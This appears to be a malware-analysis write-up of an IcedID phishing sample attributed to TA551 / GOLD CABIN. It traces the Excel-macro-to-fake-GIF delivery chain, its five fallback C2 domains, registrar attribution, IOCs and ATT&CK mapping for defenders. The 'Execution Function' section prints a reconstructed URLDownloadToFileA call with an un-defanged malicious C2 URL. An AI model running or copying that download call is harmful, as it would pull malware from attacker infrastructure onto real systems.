IcedID
Overview
Threat intelligence investigation into an IcedID sample distributed via widespread phishing campaigns attributed to TA551 / GOLD CABIN. No live environment — pure IOC analysis using hash lookups across VirusTotal, Any.run, and tria.ge to reconstruct the full delivery chain and map TTPs.
Sample hash: 191eda0c539d284b29efe556abb05cd75a9077a0
Sample Identification
Starting with the SHA1 hash on VirusTotal to establish the file identity.
The sample is a macro-enabled Excel document — the .xlsm extension is a classic IcedID delivery vehicle. Malicious Office macros remain one of the most reliable initial access methods because they abuse legitimate Microsoft functionality.
Filename: document-1982481273.xlsm
MITRE: T1566.001 — Phishing: Spearphishing Attachment MITRE: T1204.002 — User Execution: Malicious File
Staged Payload Delivery
IcedID uses a two-stage delivery chain. The Excel macro acts as stage 1 — its sole purpose is to download and execute stage 2. The stage 2 payload is disguised as a GIF file to blend in with normal web traffic and avoid content inspection.
Stage 2 filename: 3003.gif
The file is not actually an image — it’s a malicious DLL or loader masquerading as a GIF. Renaming payloads to bypass extension-based filtering is a well-documented IcedID technique.
MITRE: T1027.002 — Obfuscated Files or Information: Software Packing MITRE: T1105 — Ingress Tool Transfer
C2 Infrastructure — Domain Analysis
From the Any.run and tria.ge reports, the macro attempts to download 3003.gif from 5 domains. This redundancy is deliberate — if one domain is taken down or blocked, the malware falls back to the next, ensuring successful payload delivery.
Contacted URLs observed pulling 3003.gif:
| URL | Detections | Status |
|---|---|---|
| hxxps[://]columbia[.]aula-web[.]net/ds/3003[.]gif | 10/97 | 404 |
| hxxps[://]partsapp[.]com[.]br/ds/3003[.]gif | 10/94 | — |
| hxxps[://]metaflip[.]io/ds/3003[.]gif | 12/97 | — |
| hxxp[://]usaaforced[.]fun/ds/3003[.]gif | 8/95 | — |
| hxxps[://]tajushariya[.]com/ds/3003[.]gif | 10/98 | — |
MITRE: T1071.001 — Application Layer Protocol: Web Protocols MITRE: T1573.002 — Encrypted Channel: Asymmetric Cryptography
Registrar Attribution
WHOIS lookups across the malicious domains reveal a pattern — the threat actor predominantly registered their infrastructure through Namecheap. This is consistent with known TA551 operational behaviour; Namecheap’s relatively low cost and privacy features make it a common choice for threat actor infrastructure.
MITRE: T1583.001 — Acquire Infrastructure: Domains
Threat Actor Attribution — GOLD CABIN / TA551
Historical WHOIS and TTP correlation attributes this campaign to GOLD CABIN (Secureworks naming convention), also tracked as TA551 (Proofpoint). Key indicators:
- Macro-enabled Office document delivery via phishing
.gifdisguised payload staging- Namecheap infrastructure
- IcedID as primary payload
- Multi-domain fallback C2 chain
GOLD CABIN is a financially motivated initial access broker known for high-volume phishing campaigns delivering IcedID, Ursnif, and Qakbot. They typically sell access to downstream ransomware operators.
Execution Function
From the tria.ge PE imports analysis — the macro uses the Windows API function URLDownloadToFileA to fetch the stage 2 payload from the C2 domains.
URLDownloadToFileA is the ANSI variant from urlmon.dll — standard for malware targeting broad Windows environments. It downloads a file from a URL directly to disk, making it ideal for staging payloads without requiring additional tooling.
URLDownloadToFileA(NULL, "https://metaflip.io/ds/3003.gif", "C:\...\3003.gif", 0, NULL)MITRE: T1105 — Ingress Tool Transfer
IOCs
| Type | Value |
|---|---|
| SHA1 Hash | 191eda0c539d284b29efe556abb05cd75a9077a0 |
| Filename | document-1982481273[.]xlsm |
| Stage 2 Payload | 3003[.]gif |
| C2 Domain | columbia[.]aula-web[.]net |
| C2 Domain | partsapp[.]com[.]br |
| C2 Domain | metaflip[.]io |
| C2 Domain | usaaforced[.]fun |
| C2 Domain | tajushariya[.]com |
| Registrar | Namecheap |
| Threat Actor | GOLD CABIN / TA551 |
| Execution Function | URLDownloadToFileA |
MITRE ATT&CK
| Technique | ID | Notes |
|---|---|---|
| Spearphishing Attachment | T1566.001 | .xlsm delivered via phishing email |
| User Execution: Malicious File | T1204.002 | Victim opens Excel and enables macros |
| Ingress Tool Transfer | T1105 | URLDownloadToFileA pulls 3003.gif from C2 |
| Software Packing / Obfuscation | T1027.002 | Payload disguised as GIF file |
| Application Layer Protocol | T1071.001 | C2 over HTTPS |
| Asymmetric Cryptography | T1573.002 | SSL/TLS encrypted C2 comms |
| Exfil Over Alt Protocol | T1048.002 | Data exfil via HTTPS |
| Registry Run Keys | T1547.001 | IcedID persistence mechanism |
| Browser Session Hijacking | T1185 | IcedID web injection for credential harvesting |
| Acquire Infrastructure: Domains | T1583.001 | Namecheap-registered C2 domains |
Lessons Learned
- Multi-domain fallback is a resilience technique — 5 domains for a single payload means takedown of one or two has no operational impact on the campaign; defenders need to block the pattern, not just individual IOCs
- GIF masquerading is content inspection evasion — file extension filtering is trivially bypassed; content inspection by magic bytes or behaviour is required
- Namecheap as infra indicator — registrar choice is a weak but useful attribution signal when combined with other TTPs; GOLD CABIN’s Namecheap preference has been consistent enough to be a supporting indicator
- URLDownloadToFileA vs W — the A (ANSI) variant is older but still widely used in malware; modern samples sometimes use the Wide (W) variant or PowerShell equivalents to avoid this specific string in static analysis